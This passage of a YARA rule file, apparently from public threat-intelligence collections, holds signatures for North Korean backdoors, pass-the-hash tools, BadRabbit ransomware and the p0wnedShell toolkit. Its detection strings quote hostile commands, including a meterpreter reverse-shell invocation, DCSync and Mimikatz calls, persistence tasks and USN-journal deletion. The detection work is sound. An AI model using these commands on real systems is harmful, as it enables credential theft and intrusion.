		$rtti_name6 = "CSocks5Mgr"
		$rtti_name7 = "CRemoteMsg"

	condition:
		uint16( 0 ) == 0x457f and ( ( $dbg_msg and 1 of ( $rtti* ) ) or ( 5 of ( $rtti* ) ) or ( $uuid_lookup and 2 of ( $rtti* ) ) )
}

rule APT_MAL_Win_BlueLight_B : InkySquid
{
	meta:
		author = "threatintel@volexity.com"
		description = "North Korean origin malware which uses a custom Google App for c2 communications."
		date = "2021-06-21"
		hash1 = "837eaf7b736583497afb8bbdb527f70577901eff04cc69d807983b233524bfed"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
		reference = "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
		id = "3ec2d44c-4c08-514d-a839-acef3f53f7dc"

	strings:
		$magic = "host_name: %ls, cookie_name: %s, cookie: %s, CT: %llu, ET: %llu, value: %s, path: %ls, secu: %d, http: %d, last: %llu, has: %d"
		$f1 = "%ls.INTEG.RAW" wide
		$f2 = "edb.chk" ascii
		$f3 = "edb.log" ascii
		$f4 = "edbres00001.jrs" ascii
		$f5 = "edbres00002.jrs" ascii
		$f6 = "edbtmp.log" ascii
		$f7 = "cheV01.dat" ascii
		$chrome1 = "Failed to get chrome cookie"
		$chrome2 = "mail.google.com, cookie_name: OSID"
		$chrome3 = ".google.com, cookie_name: SID,"
		$chrome4 = ".google.com, cookie_name: __Secure-3PSID,"
		$chrome5 = "Failed to get Edge cookie"
		$chrome6 = "google.com, cookie_name: SID,"
		$chrome7 = "google.com, cookie_name: __Secure-3PSID,"
		$chrome8 = "Failed to get New Edge cookie"
		$chrome9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"
		$chrome10 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
		$chrome11 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
		$chrome12 = "https://mail.google.com"
		$chrome13 = "result.html"
		$chrome14 = "GM_ACTION_TOKEN"
		$chrome15 = "GM_ID_KEY="
		$chrome16 = "/mail/u/0/?ik=%s&at=%s&view=up&act=prefs"
		$chrome17 = "p_bx_ie=1"
		$chrome18 = "myaccount.google.com, cookie_name: OSID"
		$chrome19 = "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3"
		$chrome20 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
		$chrome21 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
		$chrome22 = "https://myaccount.google.com"
		$chrome23 = "result.html"
		$chrome24 = "myaccount.google.com"
		$chrome25 = "/_/AccountSettingsUi/data/batchexecute"
		$chrome26 = "f.req=%5B%5B%5B%22BqLdsd%22%2C%22%5Btrue%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at="
		$chrome27 = "response.html"
		$msg1 = "https_status is %s"
		$msg2 = "Success to find GM_ACTION_TOKEN and GM_ID_KEY"
		$msg3 = "Failed to find GM_ACTION_TOKEN and GM_ID_KEY"
		$msg4 = "Failed HttpSendRequest to mail.google.com"
		$msg5 = "Success to enable imap"
		$msg6 = "Failed to enable imap"
		$msg7 = "Success to find SNlM0e"
		$msg8 = "Failed to find SNlM0e"
		$msg9 = "Failed HttpSendRequest to myaccount.google.com"
		$msg10 = "Success to enable thunder access"
		$msg11 = "Failed to enable thunder access"
		$keylogger_component1 = "[TAB]"
		$keylogger_component2 = "[RETURN]"
		$keylogger_component3 = "PAUSE"
		$keylogger_component4 = "[ESC]"
		$keylogger_component5 = "[PAGE UP]"
		$keylogger_component6 = "[PAGE DOWN]"
		$keylogger_component7 = "[END]"
		$keylogger_component8 = "[HOME]"
		$keylogger_component9 = "[ARROW LEFT]"
		$keylogger_component10 = "[ARROW UP]"
		$keylogger_component11 = "[ARROW RIGHT]"
		$keylogger_component12 = "[ARROW DOWN]"
		$keylogger_component13 = "[INS]"
		$keylogger_component14 = "[DEL]"
		$keylogger_component15 = "[WIN]"
		$keylogger_component16 = "[NUM *]"
		$keylogger_component17 = "[NUM +]"
		$keylogger_component18 = "[NUM ,]"
		$keylogger_component19 = "[NUM -]"
		$keylogger_component20 = "[NUM .]"
		$keylogger_component21 = "NUM /]"
		$keylogger_component22 = "[NUMLOCK]"
		$keylogger_component23 = "[SCROLLLOCK]"
		$keylogger_component24 = "Time: "
		$keylogger_component25 = "Window: "
		$keylogger_component26 = "CAPSLOCK+"
		$keylogger_component27 = "SHIFT+"
		$keylogger_component28 = "CTRL+"
		$keylogger_component29 = "ALT+"

	condition:
		$magic or ( all of ( $f* ) and 5 of ( $keylogger_component* ) ) or 24 of ( $chrome* ) or 4 of ( $msg* ) or 27 of ( $keylogger_component* )
}

rule APT_MAL_Win_BlueLight : InkySquid
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-04-23"
		description = "The BLUELIGHT malware family. Leverages Microsoft OneDrive for network communications."
		hash1 = "7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d"
		hash2 = "94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
		reference = "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
		id = "3ec2d44c-4c08-514d-a839-acef3f53f7dc"

	strings:
		$pdb1 = "\\Development\\BACKDOOR\\ncov\\"
		$pdb2 = "Release\\bluelight.pdb"
		$msg0 = "https://ipinfo.io" fullword
		$msg1 = "country" fullword
		$msg5 = "\"UserName\":\"" fullword
		$msg7 = "\"ComName\":\"" fullword
		$msg8 = "\"OS\":\"" fullword
		$msg9 = "\"OnlineIP\":\"" fullword
		$msg10 = "\"LocalIP\":\"" fullword
		$msg11 = "\"Time\":\"" fullword
		$msg12 = "\"Compiled\":\"" fullword
		$msg13 = "\"Process Level\":\"" fullword
		$msg14 = "\"AntiVirus\":\"" fullword
		$msg15 = "\"VM\":\"" fullword

	condition:
		any of ( $pdb* ) or all of ( $msg* )
}

rule EXT_NK_GOLDBACKDOOR_inital_shellcode
{
	meta:
		author = "Silas Cutler (silas@Stairwell.com)"
		description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR"
		version = "0.1"
		date = "2022-04-21"
		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
		score = 80
		id = "daab8e54-11b3-51cc-8bee-55b078f3e791"

	strings:
		$ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45
              CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F
              67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 }
		$ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 }
		$ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0}

	condition:
		all of them
}

rule EXT_NK_GOLDBACKDOOR_injected_shellcode
{
	meta:
		author = "Silas Cutler (silas@Stairwell.com)"
		description = "Detection for injected shellcode that decodes GOLDBACKDOOR"
		version = "0.1"
		date = "2022-04-21"
		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
		score = 80
		id = "aa921f01-98cc-51ab-877a-e7beede77e36"

	strings:
		$dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83 EE 01 75 F8 5E 57 }
		$rtlfillmemory_load = { B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0 }
		$ = "StartModule"
		$log_file_name = { C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C
                           61 70 50 B9 BD 88 17 75 C7 44 24 4C 70 64 61 74 C7 44 24
                           50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C
                           64 32 C7 44 24 5C 2E 74 78 74 }
		$ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 }

	condition:
		3 of them
}

rule EXT_NK_GOLDBACKDOOR_generic_shellcode
{
	meta:
		author = "Silas Cutler (silas@Stairwell.com)"
		description = "Generic detection for shellcode used to drop GOLDBACKDOOR"
		version = "0.1"
		date = "2022-04-21"
		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
		score = 75
		id = "70081d63-0b26-5358-8444-5adc3a44aaa0"

	strings:
		$ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 }
		$ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 }

	condition:
		all of them
}

rule whosthere_alt
{
	meta:
		description = "Auto-generated rule - file whosthere-alt.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
		date = "2015-07-10"
		score = 80
		hash = "9b4c3691872ca5adf6d312b04190c6e14dd9cbe10e94c0dd3ee874f82db897de"
		id = "92e98381-9142-58af-82ce-4df9eb0a0039"

	strings:
		$s0 = "WHOSTHERE-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
		$s1 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii
		$s2 = "dump output to a file, -o filename" fullword ascii
		$s3 = "This tool lists the active LSA logon sessions with NTLM credentials." fullword ascii
		$s4 = "Error: pth.dll is not in the current directory!." fullword ascii
		$s5 = "the output format is: username:domain:lmhash:nthash" fullword ascii
		$s6 = ".\\pth.dll" fullword ascii
		$s7 = "Cannot get LSASS.EXE PID!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 280KB and 2 of them
}

rule iam_alt_iam_alt
{
	meta:
		description = "Auto-generated rule - file iam-alt.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
		date = "2015-07-10"
		score = 80
		hash = "2ea662ef58142d9e340553ce50d95c1b7a405672acdfd476403a565bdd0cfb90"
		id = "cf8ec963-ed23-531e-8ea2-ff9f8643aa75"

	strings:
		$s0 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii
		$s1 = "IAM-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
		$s2 = "This tool allows you to change the NTLM credentials of the current logon session" fullword ascii
		$s3 = "username:domainname:lmhash:nthash" fullword ascii
		$s4 = "Error in cmdline!. Bye!." fullword ascii
		$s5 = "Error: Cannot open LSASS.EXE!." fullword ascii
		$s6 = "nthash is too long!." fullword ascii
		$s7 = "LSASS HANDLE: %x" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 240KB and 2 of them
}

rule genhash_genhash
{
	meta:
		description = "Auto-generated rule - file genhash.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
		date = "2015-07-10"
		score = 80
		hash = "113df11063f8634f0d2a28e0b0e3c2b1f952ef95bad217fd46abff189be5373f"
		id = "bec3c014-df3b-5ac0-9501-9b648856e02b"

	strings:
		$s1 = "genhash.exe <password>" fullword ascii
		$s3 = "Password: %s" fullword ascii
		$s4 = "%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X" fullword ascii
		$s5 = "This tool generates LM and NT hashes." fullword ascii
		$s6 = "(hashes format: LM Hash:NT hash)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them
}

rule iam_iamdll
{
	meta:
		description = "Auto-generated rule - file iamdll.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
		date = "2015-07-10"
		score = 80
		hash = "892de92f71941f7b9e550de00a57767beb7abe1171562e29428b84988cee6602"
		id = "15e8ddac-af17-5509-b552-b4364af57c90"

	strings:
		$s0 = "LSASRV.DLL" fullword ascii
		$s1 = "iamdll.dll" fullword ascii
		$s2 = "ChangeCreds" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 115KB and all of them
}

rule iam_iam
{
	meta:
		description = "Auto-generated rule - file iam.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
		date = "2015-07-10"
		score = 80
		hash = "8a8fcce649259f1b670bb1d996f0d06f6649baa8eed60db79b2c16ad22d14231"
		id = "15e8ddac-af17-5509-b552-b4364af57c90"

	strings:
		$s1 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii
		$s2 = "iam.exe -h administrator:mydomain:" ascii
		$s3 = "An error was encountered when trying to change the current logon credentials!." fullword ascii
		$s4 = "optional parameter. If iam.exe crashes or doesn't work when run in your system, use this parameter." fullword ascii
		$s5 = "IAM.EXE will try to locate some memory locations instead of using hard-coded values." fullword ascii
		$s6 = "Error in cmdline!. Bye!." fullword ascii
		$s7 = "Checking LSASRV.DLL...." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule whosthere_alt_pth
{
	meta:
		description = "Auto-generated rule - file pth.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
		date = "2015-07-10"
		score = 80
		hash = "fbfc8e1bc69348721f06e96ff76ae92f3551f33ed3868808efdb670430ae8bd0"
		id = "92e98381-9142-58af-82ce-4df9eb0a0039"

	strings:
		$s0 = "c:\\debug.txt" fullword ascii
		$s1 = "pth.dll" fullword ascii
		$s2 = "\"Primary\" string found at %.8Xh" fullword ascii
		$s3 = "\"Primary\" string not found!" fullword ascii
		$s4 = "segment 1 found at %.8Xh" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 240KB and 4 of them
}

rule whosthere
{
	meta:
		description = "Auto-generated rule - file whosthere.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
		date = "2015-07-10"
		score = 80
		hash = "d7a82204d3e511cf5af58eabdd6e9757c5dd243f9aca3999dc0e5d1603b1fa37"
		id = "92e98381-9142-58af-82ce-4df9eb0a0039"

	strings:
		$s1 = "by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
		$s2 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii
		$s3 = "specify addresses to use. Format: ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSES" ascii
		$s4 = "Could not enable debug privileges. You must run this tool with an account with administrator privileges." fullword ascii
		$s5 = "-B is now used by default. Trying to find correct addresses.." fullword ascii
		$s6 = "Cannot get LSASS.EXE PID!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 320KB and 2 of them
}

rule SharpCat
{
	meta:
		description = "Detects command shell SharpCat - file SharpCat.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/SharpCat"
		date = "2016-06-10"
		hash1 = "96dcdf68b06c3609f486f9d560661f4fec9fe329e78bd300ad3e2a9f07e332e9"
		id = "94a7ce40-ac2f-598e-86c5-ee9fde1eeef0"

	strings:
		$x1 = "ShellZz" fullword ascii
		$s2 = "C:\\Windows\\System32\\cmd.exe" fullword wide
		$s3 = "currentDirectory" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and all of them
}

rule BadRabbit_Gen
{
	meta:
		description = "Detects BadRabbit Ransomware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://pastebin.com/Y7pJv3tK"
		date = "2017-10-25"
		hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93"
		hash2 = "579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648"
		hash3 = "630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da"
		id = "272e50f8-5aef-52ec-a5d0-01e8504d6c55"

	strings:
		$x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST" fullword wide
		$x2 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\"" fullword wide
		$x3 = "C:\\Windows\\infpub.dat" fullword wide
		$x4 = "C:\\Windows\\cscc.dat" fullword wide
		$s1 = "need to do is submit the payment and get the decryption password." fullword ascii
		$s2 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide
		$s3 = "\\\\.\\pipe\\%ws" fullword wide
		$s4 = "fsutil usn deletejournal /D %c:" fullword wide
		$s5 = "Run DECRYPT app at your desktop after system boot" fullword ascii
		$s6 = "Files decryption completed" fullword wide
		$s7 = "Disable your anti-virus and anti-malware programs" fullword wide
		$s8 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide
		$s9 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide
		$s10 = "%ws C:\\Windows\\%ws,#1 %ws" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( 1 of ( $x* ) or 2 of them )
}

rule BadRabbit_Mimikatz_Comp
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://pastebin.com/Y7pJv3tK"
		date = "2017-10-25"
		hash1 = "2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035"
		id = "52affd3f-6bf9-55f6-92a5-69314a2e76e0"

	strings:
		$s1 = "%lS%lS%lS:%lS" fullword wide
		$s2 = "lsasrv" fullword wide
		$s3 = "CredentialKeys" ascii
		$s4 = { 50 72 69 6D 61 72 79 00 6D 00 73 00 76 00 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them )
}

rule SUSP_WER_Critical_HeapCorruption
{
	meta:
		description = "Detects a crashed application that crashed due to a heap corruption error (could be a sign of exploitation)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1185459425710092288"
		date = "2019-10-18"
		score = 45
		id = "2b1dad5f-cc2c-5d8c-8275-ebb56d079895"

	strings:
		$a1 = "ReportIdentifier=" wide
		$a2 = ".Name=Fault Module Name" wide
		$s1 = "c0000374" wide

	condition:
		( uint32be( 0 ) == 0x56006500 or uint32be( 0 ) == 0xfffe5600 ) and all of them
}

rule SUSP_WER_Suspicious_Crash_Directory
{
	meta:
		description = "Detects a crashed application executed in a suspicious directory"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1185585050059976705"
		date = "2019-10-18"
		score = 45
		id = "bf91e20c-aa35-5b13-86ed-a63e6fb4d1a2"

	strings:
		$a1 = "ReportIdentifier=" wide
		$a2 = ".Name=Fault Module Name" wide
		$a3 = "AppPath=" wide nocase
		$l1 = "AppPath=C:\\Windows\\" wide nocase
		$l2 = "AppPath=C:\\Program" wide nocase
		$l3 = "AppPath=C:\\Python" wide nocase
		$l4 = "AppPath=C:\\Users\\" wide nocase
		$s6 = "AppPath=C:\\Users\\Public\\" nocase wide
		$s7 = "AppPath=C:\\Users\\Default\\" nocase wide
		$s8 = /AppPath=C:\\Users\\[^\\]{1,64}\\AppData\\(Local|Roaming)\\[^\\]{1,64}\.exe/ wide nocase

	condition:
		( uint32be( 0 ) == 0x56006500 or uint32be( 0 ) == 0xfffe5600 ) and all of ( $a* ) and ( not 1 of ( $l* ) or 1 of ( $s* ) )
}

rule p0wnedPowerCat
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPowerCat.cs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		hash1 = "6a3ba991d3b5d127c4325bc194b3241dde5b3a5853b78b4df1bce7cbe87c0fdf"
		id = "059a8e58-7b7e-582e-ba4a-80e4dffe9b5e"

	strings:
		$x1 = "Now if we point Firefox to http://127.0.0.1" fullword ascii
		$x2 = "powercat -l -v -p" fullword ascii
		$x3 = "P0wnedListener" fullword ascii
		$x4 = "EncodedPayload.bat" fullword ascii
		$x5 = "powercat -c " fullword ascii
		$x6 = "Program.P0wnedPath()" ascii
		$x7 = "Invoke-PowerShellTcpOneLine" fullword ascii

	condition:
		( uint16( 0 ) == 0x7375 and filesize < 150KB and 1 of them ) or ( 2 of them )
}

rule Hacktool_Strings_p0wnedShell : FILE
{
	meta:
		description = "Detects strings found in Runspace Post Exploitation Toolkit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		modified = "2023-02-10"
		hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
		nodeepdive = 1
		id = "0846039d-1e00-5224-9560-55ab18034d54"

	strings:
		$x1 = "Invoke-TokenManipulation" fullword ascii
		$x2 = "windows/meterpreter" fullword ascii
		$x3 = "lsadump::dcsync" fullword ascii
		$x4 = "p0wnedShellx86" fullword ascii
		$x5 = "p0wnedShellx64" fullword ascii
		$x6 = "Invoke_PsExec()" fullword ascii
		$x7 = "Invoke-Mimikatz" fullword ascii
		$x8 = "Invoke_Shellcode()" fullword ascii
		$x9 = "Invoke-ReflectivePEInjection" ascii
		$fp1 = "Sentinel Labs, Inc." wide
		$fp2 = "Copyright Elasticsearch B.V." ascii wide
		$fp3 = "Attack Information: Invoke-Mimikatz" ascii
		$fp4 = "a30226 || INDICATOR-SHELLCODE Metasploit windows/meterpreter stage transfer attempt"
		$fp5 = "use strict"

	condition:
		filesize < 20MB and 1 of ( $x* ) and not 1 of ( $fp* )
}

rule p0wnedPotato
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPotato.cs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		hash1 = "aff2b694a01b48ef96c82daf387b25845abbe01073b76316f1aab3142fdb235b"
		id = "2c2378e3-b948-5325-9afd-76424a7130b1"

	strings:
		$x1 = "Invoke-Tater" fullword ascii
		$x2 = "P0wnedListener.Execute(WPAD_Proxy);" fullword ascii
		$x3 = " -SpooferIP " ascii
		$x4 = "TaterCommand()" ascii
		$x5 = "FileName = \"cmd.exe\"," fullword ascii

	condition:
		1 of them
}

rule p0wnedExploits
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedExploits.cs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		hash1 = "54548e7848e742566f5596d8f02eca1fd2cbfeae88648b01efb7bab014b9301b"
		id = "9f754f5f-85e8-5b6f-bde2-566da4d39586"

	strings:
		$x1 = "Pshell.RunPSCommand(Whoami);" fullword ascii
		$x2 = "If succeeded this exploit should popup a System CMD Shell" fullword ascii

	condition:
		all of them
}

rule p0wnedShellx64
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShellx64.exe"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		modified = "2021-09-15"
		hash1 = "d8b4f5440627cf70fa0e0e19e0359b59e671885f8c1855517211ba331f48c449"
		id = "c9791804-4f08-5b7e-8d9d-37e2dfccec47"

	strings:
		$x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9Pjgb/+kPPhv9Sjp01Wf" wide
		$x2 = "Invoke-TokenManipulation" wide
		$x3 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" fullword wide
		$x4 = "CommandShell with Local Administrator privileges :)" fullword wide
		$x5 = "Invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost " fullword wide
		$fp1 = "AVSignature" ascii wide

	condition:
		1 of ( $x* ) and not 1 of them
}

rule p0wnedListenerConsole
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedListenerConsole.cs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		hash1 = "d2d84e65fad966a8556696fdaab5dc8110fc058c9e9caa7ea78aa00921ae3169"
		id = "77d13c34-3e15-5bc1-a100-f04be38cfb44"

	strings:
		$x1 = "Invoke_ReflectivePEInjection" fullword wide
		$x5 = "p0wnedShell> " fullword wide
		$x6 = "Resources.Get_PassHashes" fullword wide
		$s7 = "Invoke_CredentialsPhish" fullword wide
		$s8 = "Invoke_Shellcode" fullword wide
		$s9 = "Resources.Invoke_TokenManipulation" fullword wide
		$s10 = "Resources.Port_Scan" fullword wide
		$s20 = "Invoke_PowerUp" fullword wide

	condition:
		1 of them
}

rule p0wnedBinaries
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedBinaries.cs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		hash1 = "fd7014625b58d00c6e54ad0e587c6dba5d50f8ca4b0f162d5af3357c2183c7a7"
		id = "0c62dd3a-195c-5890-b262-2eb00c58f8c1"

	strings:
		$x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9" ascii
		$x2 = "wpoWAB+LCAAAAAAABADs/QeyK7uOBYhORUNIenL+E2vBA0ympH3erY4f8Tte3TpbUiY9YRbcGK91vVKtr+tV3v/B/yr/m1vD/+DvNOVb+V/f" ascii
		$x3 = "mo0MAB+LCAAAAAAABADsXQl24zqu3YqXII6i9r+xJ4AACU4SZcuJnVenf/9OxbHEAcRwcQGu62NbHsrax/Iw+3/hP5b+VzuH/4WfVeDf8n98" ascii
		$x4 = "LE4CAB+LCAAAAAAABADsfQmW2zqu6Fa8BM7D/jf2hRmkKNuVm/Tt9zunkipb4giCIGb2/prhFUt5hVe+/sNP4b+pVvwPn+OQp/LT9ge/+" ascii
		$x5 = "XpMCAB+LCAAAAAAABADsfQeWIzmO6FV0hKAn73+xL3iAwVAqq2t35r/tl53VyhCDFoQ3Y7zW9Uq1vq5Xef/CT+X/59bwFz6nKU/lp+8P/" ascii
		$x6 = "STwAAB+LCAAAAAAABADtWwmy6yoO3YqXgJjZ/8ZaRwNgx/HNfX/o7qqUkxgzCM0SmLR2jHBQzkc4En9xZbvHUuSLMnWv9ateK/70ilStR" ascii
		$x7 = "namespace p0wnedShell" fullword ascii

	condition:
		1 of them
}

rule p0wnedAmsiBypass
{
	meta:
		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedAmsiBypass.cs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Cn33liz/p0wnedShell"
		date = "2017-01-14"
		hash1 = "345e8e6f38b2914f4533c4c16421d372d61564a4275537e674a2ac3360b19284"
		id = "168af265-d3e9-59a2-b754-20d6c9a298b1"

	strings:
		$x1 = "Program.P0wnedPath()" fullword ascii
		$x2 = "namespace p0wnedShell" fullword ascii
